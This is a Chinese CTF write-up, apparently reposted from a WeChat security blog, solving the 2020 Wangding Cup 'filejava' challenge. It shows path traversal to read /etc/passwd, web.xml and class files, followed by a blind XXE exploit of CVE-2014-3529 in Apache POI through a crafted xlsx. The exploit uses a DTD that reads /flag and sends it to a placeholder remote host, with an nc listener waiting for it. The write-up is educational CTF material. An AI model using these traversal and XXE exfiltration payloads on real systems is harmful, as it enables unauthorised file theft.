01
—
赛题截图
02
—
接口测试
• 我们先上传文件抓包,发送到repeter

• 我们使用下载接口去下载一个不存在的文件,回显“资源被删除”
03
—
任意文件下载验证
• 测试一下下载文件夹
暴露了上传文件夹的绝对路径
我们来推测下/etc/passwd文件路径
1. 上传文件的路径为:
/usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/上传文件名
2. 那/etc目录是跟/usr一层级的,上图有九层目录,应该回退九层:
/usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/../../../../../../../../../etc/passwd
3. 则我们下载文件的参数应该为:
../../../../../../../../../etc/passwd
根据上面推理构造请求,成功获取/etc/passwd文件内容;yeah!!!
有同学问了,拿到了/etc/passwd的文件内容有什么用,怎么才能getshell啊
通过上面的一些测试,我们可以知道任意文件下载的漏洞存在该系统, 那我们只能看看能不能拿到源码审计看看了
• 通过暴露的上传文件存储的路径得知web服务器为tomcat
/usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/
• 前置知识
Tomcat的web.xml是一个XML文件,用于配置Web应用程序的部署信息和其他相关配置。它通常位于Web应用程序的WEB-INF目录下。web.xml文件中包含了大量的配置信息,其中最重要的是Web应用程序的servlet、过滤器和监听器等组件的配置,是tomcat的核心配置文件。
• 读取web.xml文件,可以看到有三个接口类
• 根据tomca结构,我们知道class文件都在WEB-INF目录:
构造路径../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/具体类路径,成功获取文件内容
•浏览器通过下载三个类文件,如下图所示
04
—
代码审计
idea打开这几个class文件,idea可以直接反编译
• 源代码审计
• 查找flag关键词,文件名只要包含flag字符就会被ban
• 看看其他文件有没有能够下手的地方
• 首先说一句chatgpt真香啊!!!
关注图片标红部分,意思是说我们要通过一个excel-xx.xlsx文件利用apache poi库搞事情?
05
—
Apache POI库漏洞利用
Apache POI 简介是用Java编写的免费开源的跨平台的 Java API,Apache POI提供API给Java程式对Microsoft Office(Excel、WORD、PowerPoint、Visio等)格式档案读和写的功能
即然用到了POI库,那我们看看这个库是否有漏洞存在!代码中给出的POI库版本为3.10;是否有漏洞,google一下你就知道。
CVE-2014-3529 apache poi 在3.10.1之前存在XXE漏洞
• 复现CVE-2014-3529
1. 准备payload文件
新建一个excel文件并解压(linux unzip命令即可解压 ‘.xlsx’ 文件)
mkdir tmp_excel //新建一个目录存放解压后的文件目录
touch 1.xlsx //新建一个excel文件
unzip 1.xlsx -d tmp_excel //解压到指定目录
cd tmp_excel //进入目录
ls //查看解压后的文件
解压后的效果如下图所示:
解压后在 [Content_Types].xml 文件中添加payload,(在第一句和第二句中间添加下面给出的payload)
payload解释
代码中的实体 remote 定义了一个外部实体,其系统标识符(System Identifier)为 "http://your-remote-ip/file.dtd"。然后,通过 %remote; 引用了这个实体,将其包含到当前XML文档中。然后通过该外部实体 %int; 和 %send; 执行一些操作
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://you-remote-ip/file.dtd">
%remote;%int;%send;
]>
[Content_Types].xml 文件添加payload后效果如图所示
打包回xlsx文件格式,根据前面的代码分析,根据前面代码审计我们还记得文件名得命名为excel-x.xlsx
zip excel-1.xlsx ./*
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://your-ip:port?popko=%file;'>">
dtd文件解释
a. %file 定义了一个实体,通过 file:///flag 指定为一个文件路径。读取本地文件系统上的 flag 文件。
b. %int 定义了另一个实体,通过 http://your-ip:port?popko=%file; 将读取到的文件内容发送给指定的IP地址和端口,我们通过nc在该ip所在服务器上监听这里指定的端口。
文件最终想要实现的效果是读取 flag 文件,并将其内容发送到指定的服务器上。
3. 远程服务器80端口启动http服务,使通过http://your-remote-ip/file.dtd能访问到file.dtd资源
python3 -m http.server 80
4. nc监听端口,准备接受flag文件内容
nc -lvvnp port //port为你file.dtd里指定的端口
5. 上传xlsx文件测试 http服务成功接收到file.dtd的请求
nc成功收到flag文件的内容
06
—
总结
• 任意文件下载(读取)
• Apache POI XXE
脚踏实地的每天进步一点点,不跟别人相比,只超越自己就够了。
欢迎关注不懂安全 ⬇️
原文始发于微信公众号(黑伞安全):flag{网鼎杯之java代码审计入门} 网鼎杯 2020 青龙组 --filejava
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论